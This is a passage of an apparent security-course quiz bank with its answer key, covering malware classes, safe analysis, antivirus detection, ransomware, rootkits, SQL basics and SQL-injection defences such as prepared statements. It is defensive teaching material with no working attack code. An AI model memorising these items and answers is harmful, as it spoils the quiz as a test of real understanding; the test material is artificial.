Q037 | Comparison

Which statement correctly distinguishes memory-resident malware from a sparse infector?

- A. Memory-resident malware remains active in RAM; a sparse infector limits how frequently it infects
- B. Both terms mean a database table is encrypted
- C. A sparse infector always uses office macros; memory-resident malware never does
- D. Both terms refer only to email server misconfiguration

Answer: A. Memory-resident malware remains active in RAM; a sparse infector limits how frequently it infects

Why: The characteristics concern persistence location versus infection frequency.

Source page reference: pp. 10-11

Q038 | Mini case study

An office document contains malicious macros but also downloads another payload. Which answer is best?

- A. It must be only a sparse infector
- B. It is necessarily a prepared statement
- C. It cannot be classified because malware categories are exclusive
- D. The sample may combine macro and multi-partite characteristics

Answer: D. The sample may combine macro and multi-partite characteristics

Why: Malware can use multiple vectors and techniques.

Source page reference: pp. 7-8, 13

Q039 | Mini case study

An analyst observes that a malware sample is encoded and changes its appearance each time it spreads. Which interpretation is strongest?

- A. The sample is a static ACL
- B. The sample is protected by least privilege
- C. The sample combines armored and polymorphic techniques
- D. The sample is only a benign cookie

Answer: C. The sample combines armored and polymorphic techniques

Why: Encoding impedes analysis while changing form frustrates fixed signatures.

Source page reference: pp. 9, 12

Q040 | Mini case study

A sample stays in memory and infects files only occasionally. Which interpretation is strongest?

- A. It cannot evade detection
- B. It combines memory-resident and sparse-infector behavior
- C. It is necessarily a worm and nothing else
- D. It is only a SQL error message

Answer: B. It combines memory-resident and sparse-infector behavior

Why: The two labels describe different characteristics that can coexist.

Source page reference: pp. 10-11

3. Malware variants, hoaxes, and safe analysis

12 questions. Answers appear immediately below each item.

Q041 | Single answer

Why can new malware strains sometimes be created with relatively small changes?

- A. Small modifications can alter targets, downloads, or network destinations
- B. Every malware sample must be written from scratch
- C. Cryptographic signatures automatically rewrite malware
- D. Firewalls compile new strains

Answer: A. Small modifications can alter targets, downloads, or network destinations

Why: Minor edits can produce meaningful behavioral differences.

Source page reference: p. 14

Q042 | Single answer

How can reverse engineering contribute to the creation of malware variants?

- A. It forces every program to use prepared statements
- B. It guarantees the code is harmless
- C. It disables network storage
- D. Disassemblers can help analysts or attackers understand and modify compiled programs

Answer: D. Disassemblers can help analysts or attackers understand and modify compiled programs

Why: Reverse engineering can expose logic that is then altered and rebuilt.

Source page reference: p. 14

Q043 | Scenario

An attacker changes only the command-and-control address in an existing script and redistributes it. What does this illustrate?

- A. A firewall ACL is equivalent to malware
- B. A primary key prevents code reuse
- C. A new strain can result from a small but operationally important modification
- D. A memory-resident process must always be rebooted

Answer: C. A new strain can result from a small but operationally important modification

Why: Small changes can create distinct variants with different behavior or targets.

Source page reference: p. 14

Q044 | Single answer

Why do reusable toolkits increase malware risk?

- A. They force all malware to use the same signature forever
- B. They lower the effort required to combine known techniques into new malicious programs
- C. They make every program cryptographically signed
- D. They eliminate the need for any testing

Answer: B. They lower the effort required to combine known techniques into new malicious programs

Why: Reusable components can reduce the expertise and time required to assemble malware.

Source page reference: pp. 14, 28

Q045 | Scenario

A warning message tells users to forward an alarming notice to everyone but provides no verifiable evidence of malware. What should an administrator suspect first?

- A. A possible virus hoax
- B. A confirmed rootkit
- C. A circuit-level gateway
- D. A prepared statement failure

Answer: A. A possible virus hoax

Why: Hoaxes can spread fear or misinformation even without an actual infection.

Source page reference: p. 16

Q046 | Select all that apply

Which practices support safe malware research?

- A. Use an isolated virtual machine
- B. Avoid executing unknown samples on a production workstation
- C. Analyze source or binaries in a contained lab
- D. Treat external malware repositories as potentially dangerous
- E. Disable containment to observe wider spread

Answer: A, B, C, D. Use an isolated virtual machine; Avoid executing unknown samples on a production workstation; Analyze source or binaries in a contained lab; Treat external malware repositories as potentially dangerous

Why: Malware study requires containment and separation from production systems.

Source page reference: p. 31

Q047 | True / False

Studying malware source code may be educational, but executing unknown samples on a normal workstation is unsafe.

- A. Only when a firewall is disabled
- B. Only for encrypted traffic
- C. True
- D. False

Answer: C. True

Why: The lecture recommends containment in a virtual machine rather than unprotected execution.

Source page reference: p. 31

Q048 | True / False

A virus hoax is equivalent to a confirmed infection detected by a scanner.

- A. Only for encrypted traffic
- B. False
- C. True
- D. Only when a firewall is disabled

Answer: B. False

Why: A hoax is misinformation or a deceptive warning, not proof of an active infection.

Source page reference: p. 16

Q049 | Assertion-reason

Assertion: A malware laboratory should be isolated from production systems.

Reason: Unknown samples may execute harmful behavior if containment fails.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Isolation limits the consequences of analysis mistakes.

Source page reference: p. 31

Q050 | Comparison

Which statement correctly compares a hoax with a malware sample?

- A. Both must be treated as identical database rows
- B. A hoax always creates administrator access
- C. A malware sample can never be contained
- D. A hoax can cause disruption through misinformation, while a malware sample contains executable or otherwise harmful behavior

Answer: D. A hoax can cause disruption through misinformation, while a malware sample contains executable or otherwise harmful behavior

Why: The two can both create operational problems but do so differently.

Source page reference: p. 16

Q051 | Scenario

A historical self-propagating program accidentally infected machines multiple times because its own code contained a flaw. Which lesson is most relevant?

- A. Worms cannot exploit software bugs
- B. Repeated infection is impossible without SQL injection
- C. Malware behavior can exceed the author's stated intent and cause unintended damage
- D. A disclaimer removes the need for authorization

Answer: C. Malware behavior can exceed the author's stated intent and cause unintended damage

Why: The technical effects of malicious or experimental code may be difficult to control.

Source page reference: p. 15

Q052 | EXCEPT / NOT

A safe malware-analysis plan should include each measure EXCEPT:

- A. Assuming unknown samples may be dangerous
- B. Executing the sample on an employee laptop connected to production
- C. Using containment
- D. Separating the lab from production

Answer: B. Executing the sample on an employee laptop connected to production

Why: Production endpoints should not be used for unknown malware execution.

Source page reference: p. 31

4. Antivirus, prevention, and defense-in-depth

14 questions. Answers appear immediately below each item.

Q053 | Single answer

How does signature-based antivirus detection work?

- A. It compares content against known characteristic patterns from malicious samples
- B. It learns only normal database table names
- C. It blocks every outbound packet regardless of policy
- D. It replaces backups with encrypted copies

Answer: A. It compares content against known characteristic patterns from malicious samples

Why: Signature detection relies on known bad patterns such as characteristic byte sequences.

Source page reference: p. 29

Q054 | Single answer

Why do signature databases require regular updates?

- A. Updates are required to create SQL tables
- B. Updates disable cryptographic verification
- C. Updates convert viruses into worms
- D. New or modified malware samples may not match older known patterns

Answer: D. New or modified malware samples may not match older known patterns

Why: The scanner needs current patterns to recognize newer threats.

Source page reference: p. 29

Q055 | Single answer

Which technique detects suspicious behavior rather than matching only known byte patterns?

- A. NAT translation
- B. Primary-key enforcement
- C. Heuristic analysis
- D. Static ACL ordering

Answer: C. Heuristic analysis

Why: Heuristics monitor suspicious code fragments or behavior.

Source page reference: p. 29

Q056 | Scenario

A scanner flags an executable because it unexpectedly reads the address book and modifies registry settings. Which detection method is being used?

- A. DNS caching
- B. Heuristic analysis
- C. Signature matching only
- D. Circuit-level validation

Answer: B. Heuristic analysis

Why: The decision is based on behavior rather than a known fixed signature.

Source page reference: p. 29

Q057 | Scenario

A scanner identifies a file because its bytes match a stored pattern derived from a known malicious sample. Which method is being used?

- A. Signature-based detection
- B. Anomaly-only network detection
- C. Parameterized SQL execution
- D. NAT traversal

Answer: A. Signature-based detection

Why: Known patterns are the basis of signature matching.

Source page reference: p. 29

Q058 | Select all that apply

Which measures can reduce virus risk?

- A. Avoid questionable attachments
- B. Use cryptographic signatures to verify origin and content
- C. Disable updates to avoid compatibility issues
- D. Use scanners locally
- E. Filter at mail servers
- F. Scan network storage

Answer: A, B, D, E, F. Use scanners locally; Filter at mail servers; Scan network storage; Avoid questionable attachments; Use cryptographic signatures to verify origin and content

Why: Multiple preventive layers reduce exposure and improve detection.

Source page reference: p. 17

Q059 | Single answer

What can a cryptographic signature help verify for downloaded software or documents?

- A. Whether a firewall is stateful
- B. Whether a SQL table has a primary key
- C. Origin and content integrity
- D. Whether a user has administrator access

Answer: C. Origin and content integrity

Why: A valid cryptographic signature helps verify who signed the content and whether it has been altered.

Source page reference: p. 17

Q060 | Scenario

An organization scans endpoints but not its mail gateway or shared storage. Which improvement best follows the lecture?

- A. Replace all antivirus tools with URL shortening
- B. Add scanning and filtering at multiple layers, including mail and network storage
- C. Disable all backups
- D. Expose the database directly to the Internet

Answer: B. Add scanning and filtering at multiple layers, including mail and network storage

Why: Defense-in-depth applies scanning at local and shared infrastructure layers.

Source page reference: pp. 17, 30

Q061 | Single answer

Which statement best describes a defense-in-depth response to malware?

- A. Combine policies and training with technical controls such as firewalls, IDS, antivirus, and anti-spyware
- B. Depend on a single antivirus scanner and remove all other controls
- C. Assume users will never open attachments
- D. Allow unrestricted downloads if the firewall is enabled

Answer: A. Combine policies and training with technical controls such as firewalls, IDS, antivirus, and anti-spyware
Why: Layered controls address different failure modes.

Source page reference: p. 30

Q062 | EXCEPT / NOT

All of the following are appropriate malware defenses EXCEPT:

- A. Training users not to open questionable attachments
- B. Scanning mail servers and network storage
- C. Using layered technical controls
- D. Disabling scanner updates permanently

Answer: D. Disabling scanner updates permanently
Why: Permanent update disablement weakens signature-based detection.

Source page reference: pp. 17, 29-30

Q063 | True / False

Heuristic analysis can look for suspicious behavior such as unusual registry or address-book access.

- A. Only when a firewall is disabled
- B. Only for encrypted traffic
- C. True
- D. False

Answer: C. True
Why: Behavior monitoring is a heuristic approach.

Source page reference: p. 29

Q064 | True / False

Signature-based antivirus can reliably detect every unknown polymorphic sample without updates or heuristics.

- A. Only for encrypted traffic
- B. False
- C. True
- D. Only when a firewall is disabled

Answer: B. False
Why: Unknown or changing samples may evade fixed signatures.

Source page reference: pp. 12, 29

Q065 | Assertion-reason

Assertion: Antivirus signatures should be updated regularly.

Reason: Signature detection depends on known patterns, and new malware variants can emerge.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Current signature data improves recognition of known threats.

Source page reference: pp. 14, 29

Q066 | Comparison

Which statement correctly compares signature detection and heuristics?

- A. Signatures are SQL parameters; heuristics are database rows
- B. Heuristics can only work on firewalls; signatures can only work on routers
- C. Both techniques require exact byte matches only
- D. Signatures recognize known patterns; heuristics evaluate suspicious behavior or code characteristics

Answer: D. Signatures recognize known patterns; heuristics evaluate suspicious behavior or code characteristics

Why: The methods complement each other.

Source page reference: p. 29

5. Ransomware, Trojan horses, spyware, and rootkits

20 questions. Answers appear immediately below each item.

Q067 | Single answer

Which statement best describes ransomware?

- A. A SQL constraint that prevents duplicates
- B. A harmless cookie banner
- C. Malware that seeks to deny access to data or systems, commonly to pressure victims for payment
- D. A firewall that blocks UDP

Answer: C. Malware that seeks to deny access to data or systems, commonly to pressure victims for payment

Why: Ransomware disrupts access and demands payment or leverage.

Source page reference: p. 18

Q068 | Scenario

A malicious office document executes a script that downloads the main encrypting payload. Which ransomware pattern is illustrated?

- A. Circuit termination
- B. Staged delivery
- C. Prepared-statement binding
- D. Static packet filtering

Answer: B. Staged delivery

Why: Ransomware can arrive in stages: an initial loader retrieves the main payload.

Source page reference: p. 18

Q069 | Single answer

Which defensive control most directly improves recovery options after ransomware encrypts production files?

- A. Tested backups
- B. Detailed user-visible SQL error messages
- C. Unrestricted macro execution
- D. Disabling endpoint monitoring

Answer: A. Tested backups

Why: Backups can support restoration without relying solely on payment.

Source page reference: p. 18

Q070 | Single answer

Which description best matches a Trojan horse?

- A. A worm that can never be disguised
- B. A database query that uses placeholders
- C. A firewall that only filters ICMP
- D. A program that appears benign but performs hidden malicious actions

Answer: D. A program that appears benign but performs hidden malicious actions

Why: A Trojan relies on a deceptive appearance.

Source page reference: p. 19

Q071 | Scenario

A free screensaver secretly installs a keylogger and opens a remote-access backdoor. What is the best classification?

- A. Sparse infector only
- B. NIDS rule
- C. Trojan horse
- D. Prepared statement

Answer: C. Trojan horse

Why: The program looks harmless but performs hidden malicious actions.

Source page reference: p. 19

Q072 | Single answer

Which organizational policy most directly reduces Trojan-horse risk from appealing but unapproved software?

- A. Permit all software if it has an attractive interface
- B. Prohibit unauthorized downloads and installations
- C. Require all users to reveal passwords in error reports
- D. Disable mail filtering

Answer: B. Prohibit unauthorized downloads and installations

Why: Restricting unauthorized downloads reduces opportunities for disguised software installation.

Source page reference: p. 20

Q073 | Single answer

What is a malware wrapper used for?

- A. Packaging apparently legitimate and malicious functionality together
- B. Binding database parameters
- C. Reassembling tiny IP fragments only
- D. Creating a DMZ

Answer: A. Packaging apparently legitimate and malicious functionality together

Why: A wrapper can combine benign-looking software with a hidden malicious component.

Source page reference: p. 21

Q074 | Single answer

Which item is commonly associated with spyware?

- A. Prepared SQL statement
- B. Primary key
- C. IPSec header only
- D. Keylogger

Answer: D. Keylogger

Why: Keylogging is a classic spyware behavior.

Source page reference: p. 22

Q075 | Scenario

A monitoring program captures keystrokes from a specific target and sends the results to an operator. Which malware category is most relevant?

- A. SQL table
- B. Macro-only office template
- C. Spyware
- D. Static packet filter

Answer: C. Spyware

Why: Spyware gathers information about user activity.

Source page reference: pp. 22-23

Q076 | Single answer

Which statement about spyware use is most accurate?

- A. Technical capability automatically grants legal permission
- B. Legality depends on context, consent, authorization, and jurisdiction
- C. Spyware is always legal if the installer owns a computer
- D. Spyware is always illegal in every monitoring context

Answer: B. Legality depends on context, consent, authorization, and jurisdiction

Why: Monitoring rules vary, and authorization matters.

Source page reference: pp. 24-25

Q077 | Single answer

Which description best matches a rootkit?

- A. A collection of tools that can provide privileged access and hide malicious activity
- B. A SQL query that selects one record
- C. A mail attachment scanner only
- D. A web proxy cache

Answer: A. A collection of tools that can provide privileged access and hide malicious activity

Why: Rootkits can give extensive control and alter the system to evade detection.

Source page reference: p. 26

Q078 | Select all that apply

Which activities may be associated with a rootkit?

- A. Alter logs or tools to avoid detection
- B. Attack other machines on the network
- C. Convert unsafe string concatenation into parameter binding
- D. Monitor traffic and keystrokes
- E. Create a backdoor

Answer: A, B, D, E. Monitor traffic and keystrokes; Create a backdoor; Alter logs or tools to avoid detection; Attack other machines on the network

Why: Rootkits can provide privileged access, persistence, monitoring, concealment, and further attack capability.

Source page reference: p. 26

Q079 | Scenario

An incident responder notices that system logs and diagnostic utilities have been modified to hide unauthorized activity. Which threat should be suspected?

- A. DNS lookup
- B. Personal firewall
- C. Rootkit
- D. Prepared statement

Answer: C. Rootkit

Why: Altering logs and tools to evade detection is a rootkit capability.

Source page reference: p. 26

Q080 | Comparison

Which statement correctly compares a Trojan horse and a rootkit?

- A. The terms are identical in every context
- B. A Trojan horse emphasizes deceptive delivery; a rootkit emphasizes privileged access and concealment
- C. A Trojan is always a firewall; a rootkit is always a SQL query
- D. A rootkit cannot create a backdoor

Answer: B. A Trojan horse emphasizes deceptive delivery; a rootkit emphasizes privileged access and concealment

Why: A Trojan may deliver other malware, while a rootkit is a set of capabilities for control and hiding.

Source page reference: pp. 19, 26

Q081 | Comparison

Which statement correctly compares spyware and ransomware?

- A. Spyware focuses on covert information collection, while ransomware focuses on denying access or applying extortion pressure
- B. Spyware always encrypts backups; ransomware only stores cookies
- C. Both are names for packet-filtering modes
- D. Neither can affect confidentiality

Answer: A. Spyware focuses on covert information collection, while ransomware focuses on denying access or applying extortion pressure

Why: The primary goals differ: surveillance versus denial and coercion.

Source page reference: pp. 18, 22-25

Q082 | EXCEPT / NOT

Each action below can be performed by a rootkit EXCEPT:

- A. Monitoring keystrokes
- B. Creating a backdoor
- C. Altering logs to avoid detection
- D. Safely parameterizing application SQL queries

Answer: D. Safely parameterizing application SQL queries

Why: Parameterized SQL is an application defense, not a rootkit action.

Source page reference: pp. 26, 41

Q083 | True / False

A Trojan horse may be tailored to appeal to a particular person or demographic.

- A. Only when a firewall is disabled
- B. Only for encrypted traffic
- C. True
- D. False

Answer: C. True

Why: A convincing disguise can be customized to improve the chance of execution.

Source page reference: p. 20

Q084 | True / False

A rootkit is only a single harmless web cookie.

- A. Only for encrypted traffic
- B. False
- C. True
- D. Only when a firewall is disabled

Answer: B. False

Why: A rootkit is a collection of tools for control, monitoring, persistence, and concealment.

Source page reference: p. 26

Q085 | Assertion-reason

Assertion: Organizations should establish policy for employee monitoring tools.

Reason: Software with spyware-like capabilities can have lawful and unlawful uses depending on context.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Governance and legal review are necessary for dual-use monitoring technology.

Source page reference: pp. 24-27

Q086 | Assertion-reason

Assertion: Backups are an important ransomware resilience measure.

Reason: Backups can provide a restoration path when production data becomes unavailable.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Recovery planning reduces dependency on attackers.

Source page reference: p. 18

6. Relational databases and SQL basics

13 questions. Answers appear immediately below each item.

Q087 | Single answer

In a relational database, what is a table?

- A. A malware signature database only
- B. An email attachment
- C. A named structure containing records organized into rows and columns
- D. A firewall state table only

Answer: C. A named structure containing records organized into rows and columns

Why: Relational databases organize data in named tables with rows and columns.

Source page reference: p. 34

Q088 | Single answer

Which SQL command is primarily used to retrieve records?

- A. INSERT
- B. SELECT
- C. DELETE
- D. UPDATE

Answer: B. SELECT

Why: SELECT requests data from one or more tables.

Source page reference: p. 34

Q089 | Single answer

Which SQL command is primarily used to add a new record?

- A. INSERT
- B. SELECT
- C. WHERE
- D. DELETE

Answer: A. INSERT

Why: INSERT adds new rows.

Source page reference: p. 34

Q090 | Single answer

Which SQL command is primarily used to modify existing records?

- A. SELECT
- B. INSERT
- C. CREATE only
- D. UPDATE

Answer: D. UPDATE

Why: UPDATE changes existing data.

Source page reference: p. 34

Q091 | Single answer

Which SQL command is primarily used to remove records?

- A. INSERT
- B. WHERE only
- C. DELETE
- D. SELECT

Answer: C. DELETE

Why: DELETE removes data rows.

Source page reference: p. 34

Q092 | Single answer

What is the purpose of a WHERE clause?

- A. To update antivirus signatures
- B. To restrict which rows a statement applies to
- C. To create a firewall VPN
- D. To encode malware

Answer: B. To restrict which rows a statement applies to

Why: WHERE defines selection criteria.

Source page reference: p. 34

Q093 | Single answer

What is the purpose of a primary key?

- A. To identify records uniquely using one or more columns
- B. To obfuscate malware
- C. To translate IP addresses
- D. To establish a reverse shell

Answer: A. To identify records uniquely using one or more columns

Why: A primary key uniquely identifies rows.

Source page reference: p. 34

Q094 | Code interpretation

What does SELECT * FROM tblUsers WHERE USERNAME = 'admin' request?

- A. Deletion of every table
- B. Creation of a firewall rule
- C. Encryption of the database
- D. All columns for rows in tblUsers whose USERNAME is admin

Answer: D. All columns for rows in tblUsers whose USERNAME is admin

Why: SELECT retrieves matching data; * indicates all columns.

Source page reference: p. 34

Q095 | Scenario

A developer wants to return only rows whose status equals active. Which SQL clause is most directly relevant?

- A. DROP only
- B. IPSec
- C. WHERE
- D. PRIMARY KEY only

Answer: C. WHERE

Why: WHERE applies a condition to row selection.

Source page reference: p. 34

Q096 | Select all that apply

Which are SQL commands or clauses used in ordinary relational-database operations?

- A. IPSec
- B. SELECT
- C. UPDATE
- D. DELETE
- E. INSERT
- F. WHERE

Answer: B, C, D, E, F. SELECT; UPDATE; DELETE; INSERT; WHERE

Why: These SQL keywords support retrieval, modification, deletion, insertion, and filtering.

Source page reference: p. 34

Q097 | EXCEPT / NOT

All of the following are ordinary relational-database concepts EXCEPT:

- A. A circuit-level gateway
- B. Tables
- C. Rows
- D. Primary keys

Answer: A. A circuit-level gateway

Why: Circuit-level gateways are firewall concepts, not database structures.

Source page reference: pp. 20-24, 34

Q098 | True / False

A relational database can contain multiple named tables.

- A. False
- B. Only when a firewall is disabled
- C. Only for encrypted traffic
- D. True

Answer: D. True

Why: Tables organize related records in relational databases.

Source page reference: p. 34

Q099 | True / False

A WHERE clause is primarily used to configure antivirus signatures.

- A. Only when a firewall is disabled
- B. Only for encrypted traffic
- C. False
- D. True

Answer: C. False

Why: WHERE restricts records affected by an SQL statement.

Source page reference: p. 34

7. SQL injection mechanisms, impact, and code review

19 questions. Answers appear immediately below each item.

Q100 | Single answer

What is SQL injection?

- A. A firewall state table
- B. A vulnerability in which attacker-controlled input is interpreted as part of an SQL command
- C. A worm that spreads through USB devices only
- D. A VPN protocol

Answer: B. A vulnerability in which attacker-controlled input is interpreted as part of an SQL command

Why: SQL injection occurs when untrusted input changes query meaning.

Source page reference: p. 33

Q101 | Scenario

A login form builds an SQL query by directly concatenating username and password strings from the browser. What is the primary security risk?

- A. SQL injection
- B. A circuit-level gateway outage
- C. A macro virus in RAM
- D. A missing NAT rule

Answer: A. SQL injection

Why: Direct concatenation can cause attacker input to be parsed as SQL syntax.

Source page reference: pp. 35-38

Q102 | Single answer

Why is direct string concatenation dangerous when building SQL queries?

- A. It automatically encrypts sensitive fields
- B. It forces a firewall to permit all traffic
- C. It prevents logging
- D. User input can alter the intended query structure

Answer: D. User input can alter the intended query structure

Why: Untrusted content must not become executable SQL syntax.

Source page reference: p. 35

Q103 | Code interpretation

A code review finds a query assembled as: SELECT ... WHERE user = ' + username + ' AND pass = ' + password. Which improvement is most important?

- A. Grant the application database administrator privileges
- B. Disable input validation
- C. Replace concatenation with prepared statements and bound parameters
- D. Expose verbose database errors to users

Answer: C. Replace concatenation with prepared statements and bound parameters

Why: Parameter binding separates data from SQL code.

Source page reference: pp. 35, 41

Q104 | Single answer

What is the security significance of a condition such as 1=1 in an injected WHERE clause?

- A. It automatically blocks the attacker
- B. It is always true and may cause a query to match unintended rows
- C. It always deletes the operating system
- D. It is a cryptographic signature

Answer: B. It is always true and may cause a query to match unintended rows

Why: A tautology can undermine filtering logic.

Source page reference: p. 36

Q105 | Scenario

A vulnerable login query returns records even though the submitted username does not exist because the WHERE condition has been changed into an always-true expression. What class of attack occurred?

- A. SQL injection using a tautology
- B. Sparse malware infection
- C. IP spoofing
- D. Stateful packet filtering

Answer: A. SQL injection using a tautology

Why: An injected tautology can cause unauthorized row matches.

Source page reference: pp. 36-39

Q106 | Single answer

Which outcome can result from successful SQL injection?

- A. Guaranteed antivirus updates
- B. Automatic VPN creation
- C. Safe parameterization of all inputs
- D. Unauthorized access to data or destructive database changes

Answer: D. Unauthorized access to data or destructive database changes

Why: SQL injection can expose, alter, or destroy database data.

Source page reference: pp. 33, 40

Q107 | Single answer

What is a batched SQL statement?

- A. A firewall rule evaluated from top to bottom
- B. A malware scanner update
- C. Two or more SQL statements separated so that multiple operations are executed
- D. A cryptographic signature over a table

Answer: C. Two or more SQL statements separated so that multiple operations are executed

Why: Batching can allow a vulnerable query path to execute an unintended additional statement.

Source page reference: p. 40

Q108 | Scenario

An attacker-controlled input causes an application to execute an additional destructive database command after the intended query. Which concept is illustrated?

- A. DNS enumeration
- B. Batch SQL injection
- C. Host-based firewalling
- D. Memory residency

Answer: B. Batch SQL injection

Why: A vulnerable path can execute multiple separated statements.

Source page reference: p. 40

Q109 | Select all that apply

Which conditions increase SQL-injection risk?

- A. Failing to validate input
- B. Using prepared statements correctly
- C. Directly concatenating user input into SQL strings
- D. Returning detailed database internals in user-visible errors
- E. Using an over-privileged database account

Answer: A, C, D, E. Directly concatenating user input into SQL strings; Returning detailed database internals in user-visible errors; Using an over-privileged database account; Failing to validate input

Why: Unsafe query construction, information leakage, excessive privilege, and weak input handling increase risk.

Source page reference: pp. 35, 41

Q110 | EXCEPT / NOT

All of the following may be consequences of SQL injection EXCEPT:

- A. Unauthorized data retrieval
- B. Database modification
- C. Destructive database operations
- D. Automatic conversion of a virus into a worm

Answer: D. Automatic conversion of a virus into a worm

Why: SQL injection affects database operations; it does not transform malware categories.

Source page reference: pp. 33, 40

Q111 | True / False

SQL injection can be used for unauthorized data retrieval as well as destructive changes.

- A. Only when a firewall is disabled
- B. Only for encrypted traffic
- C. True
- D. False

Answer: C. True

Why: Its impact depends on the injected command and database privileges.

Source page reference: pp. 33, 40

Q112 | True / False

A login query is safe merely because it checks both a username and a password.

- A. Only for encrypted traffic
- B. False
- C. True
- D. Only when a firewall is disabled

Answer: B. False

Why: If both fields are concatenated unsafely, attacker-controlled content can still alter the query.

Source page reference: pp. 35-38

Q113 | Assertion-reason

Assertion: A tautology can undermine an authentication query.

Reason: An always-true condition may cause the query to return rows that should not match.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The logic of the WHERE condition has been altered.

Source page reference: p. 36

Q114 | Assertion-reason

Assertion: Verbose database errors should not be exposed directly to users.

Reason: Detailed error output can reveal internal information useful for refining an attack.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Internal details belong in protected logs rather than public responses.

Source page reference: p. 41

Q115 | Defensive design

A web form treats submitted text as part of an SQL command rather than as literal data. Which principle has been violated?

- A. Trust all input from authenticated users
- B. Disable backups
- C. Separate code from data
- D. Use the same password everywhere

Answer: C. Separate code from data

Why: User-controlled values must be treated as data, not executable syntax.

Source page reference: pp. 33, 41

Q116 | Defensive design

A developer argues that input validation alone is sufficient and refuses to use parameter binding. Which response is best?

- A. Concatenation is safe if the form is hidden
- B. Use prepared statements as the primary separation mechanism and validate inputs as an additional layer
- C. Validation is unnecessary if errors are verbose
- D. Grant more privileges to the application account

Answer: B. Use prepared statements as the primary separation mechanism and validate inputs as an additional layer
Why: Prepared statements are central; validation is complementary.

Source page reference: p. 41

Q117 | Defensive design

A vulnerable application account can delete every table in the database. Which design weakness magnifies SQL-injection impact?

- A. Excessive database privilege
- B. Lack of polymorphism
- C. Use of a honeypot
- D. A host-based firewall

Answer: A. Excessive database privilege
Why: Least privilege limits the damage possible after a query-construction flaw is exploited.

Source page reference: p. 41

Q118 | Defensive design

A user-visible error page prints raw SQL syntax and database schema details. What should be changed?

- A. Display even more internals
- B. Disable logging entirely
- C. Give the user database administrator access
- D. Log details internally while returning a generic message to the user

Answer: D. Log details internally while returning a generic message to the user
Why: Separate diagnostic logging from user-facing error output.

Source page reference: p. 41

8. SQL injection mitigation and secure database design

14 questions. Answers appear immediately below each item.

Q119 | Single answer

Which defense is most important for preventing user input from being executed as SQL syntax?

- A. Granting every account administrator privileges
- B. Using only longer table names
- C. Prepared statements with bound parameters
- D. Storing SQL in browser cookies

Answer: C. Prepared statements with bound parameters

Why: Prepared statements treat input as literal parameter data.

Source page reference: p. 41

Q120 | Single answer

Why does parameter binding reduce SQL-injection risk?

- A. It hides malware in RAM
- B. It keeps user-supplied values separate from the SQL command structure
- C. It converts all values into firewall rules
- D. It guarantees every database is patched automatically

Answer: B. It keeps user-supplied values separate from the SQL command structure

Why: The database receives query structure and values separately.

Source page reference: p. 41

Q121 | Single answer

Which additional measure should complement prepared statements?

- A. Input validation and sanitization
- B. Detailed database traces in public error messages
- C. Disabling database updates
- D. Removing all access controls

Answer: A. Input validation and sanitization

Why: Validation catches malformed or disallowed input and supports defense-in-depth.

Source page reference: p. 41

Q122 | Single answer

Why should application database accounts follow least privilege?

- A. To ensure every query can drop tables
- B. To make SQL errors reveal more details
- C. To disable prepared statements
- D. To limit the damage possible if an application is compromised

Answer: D. To limit the damage possible if an application is compromised

Why: The application should receive only permissions required for its function.

Source page reference: p. 41

Q123 | Single answer

How should sensitive passwords be stored?

- A. Inside user-visible error messages
- B. In a firewall ACL comment
- C. Using suitable password hashing rather than plaintext
- D. As plaintext in a public table

Answer: C. Using suitable password hashing rather than plaintext

Why: Hashing reduces the harm of credential exposure.

Source page reference: p. 41

Q124 | Single answer

Which error-handling design is preferable?

- A. Grant users access to the database console
- B. Record detailed diagnostics in protected logs and show users limited generic messages
- C. Return raw SQL queries and schemas to all users
- D. Disable logging entirely

Answer: B. Record detailed diagnostics in protected logs and show users limited generic messages

Why: Public error responses should not expose internals.

Source page reference: p. 41

Q125 | Select all that apply

Which controls reduce SQL-injection risk or impact?

- A. Least-privilege database permissions
- B. Direct string concatenation
- C. Prepared statements
- D. Input validation and sanitization
- E. Database patching
- F. Password hashing and encryption for sensitive data
- G. Generic user-visible errors with protected internal logging

Answer: A, C, D, E, F, G. Prepared statements; Input validation and sanitization; Database patching; Password hashing and encryption for sensitive data; Generic user-visible errors with protected internal logging; Least-privilege database permissions

Why: Secure query construction and layered controls prevent injection or reduce its consequences.

Source page reference: p. 41

Q126 | Scenario

A read-only reporting feature is compromised through SQL injection. The database account cannot modify or delete data. Which principle limited damage?

- A. Polymorphism
- B. Memory residency
- C. Email propagation
- D. Least privilege

Answer: D. Least privilege

Why: Restricting account capabilities reduces blast radius.

Source page reference: p. 41

Q127 | Scenario

A parameterized query receives a string containing quote characters and SQL keywords. How should the database treat the value?

- A. As a firewall rule
- B. As a malware signature update
- C. As literal data bound to a parameter
- D. As additional SQL commands

Answer: C. As literal data bound to a parameter

Why: Correct parameter binding prevents the value from modifying query structure.

Source page reference: p. 41

Q128 | EXCEPT / NOT

A secure SQL-injection mitigation plan should include each item EXCEPT:

- A. Avoiding internal details in user-visible errors
- B. Granting the web application unrestricted database administrator privileges
- C. Using prepared statements
- D. Keeping database systems up to date

Answer: B. Granting the web application unrestricted database administrator privileges

Why: Unrestricted privileges magnify the impact of compromise.

Source page reference: p. 41

Q129 | True / False

Input validation is useful, but it should not replace prepared statements.

- A. True
- B. False
- C. Only when a firewall is disabled
- D. Only for encrypted traffic

Answer: A. True

Why: Validation is an additional layer; parameter binding is the primary code-data separation mechanism.

